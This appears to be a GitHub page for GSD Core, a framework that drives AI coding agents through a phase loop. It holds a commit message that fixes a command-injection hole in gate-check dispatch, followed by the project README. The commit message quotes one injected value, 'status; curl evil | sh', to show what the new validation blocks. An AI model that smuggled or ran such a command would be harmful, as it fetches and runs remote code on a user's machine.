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* test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil | sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local>
GSD Core
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A light-weight meta-prompting, context engineering, and spec-driven development system for Claude Code, OpenCode, Antigravity CLI, Kimi CLI, Kilo, Codex, Copilot, Cursor, Windsurf, and more.
What is GSD Core
GSD Core is a context-engineering and spec-driven development framework that drives AI coding agents (Claude Code, Codex, Antigravity CLI, Kimi CLI, Copilot, Cursor, and more) through a disciplined phase loop. It solves context rot — the quality degradation that accumulates as an AI fills its context window — by running all heavy research, planning, and execution work in fresh-context subagents while keeping your main session lean.
How it works
Each milestone repeats the same five-step loop, one phase at a time:
- Discuss — capture implementation decisions before anything is planned
- Plan — research, decompose, and verify the plan fits a fresh context window
- Execute — run plans in parallel waves; each executor starts with a clean 200k-token context
- Verify — walk through what was built; diagnose and fix before declaring done
- Ship — create the PR, archive the phase, repeat for the next one
Quickstart
npx @opengsd/gsd-core@latest
The installer prompts for your runtime (Claude Code, OpenCode, Antigravity CLI, Kimi CLI, Kilo, Codex, Copilot, Cursor, Windsurf, and more) and whether to install globally or locally. The installer is required for cross-runtime compatibility — do not copy files from agents/ or commands/ directly.
On another runtime or without Node.js? See Install on your runtime.
Once installed, start a new project or onboard an existing repo:
/gsd-new-project # greenfield project
/gsd-onboard # existing codebase
New here? Follow Your first project for a guided walkthrough from install to first shipped phase, or Onboarding an existing codebase for brownfield setup.
Documentation
What's new in 1.7.0 → docs/whats-new-1.7.0.md
Tutorials — learning by doing:
How-to guides — task-focused recipes:
Reference — authoritative facts:
Explanation — concepts and design decisions:
Full index: docs/README.md. Other languages: 日本語 · 한국어 · Português · 简体中文.
Why it works
Most AI-coding setups fail at scale because context bloat silently degrades output quality, there is no shared memory between sessions, and nothing verifies that code actually works. GSD Core solves all three: heavy work runs in fresh subagents, structured artifacts like STATE.md and CONTEXT.md survive session boundaries, and the verify step walks through what was built and generates fix plans before a phase is declared done. See docs/explanation/context-engineering.md for the full reasoning.
Troubleshooting? See docs/how-to/recover-and-troubleshoot.md.
Community
| Project | Platform |
|---|---|
| gsd-opencode | Original OpenCode port |
| Discord | Community support |
Star History
License
MIT License. See LICENSE for details.
Claude Code is powerful. GSD Core makes it reliable.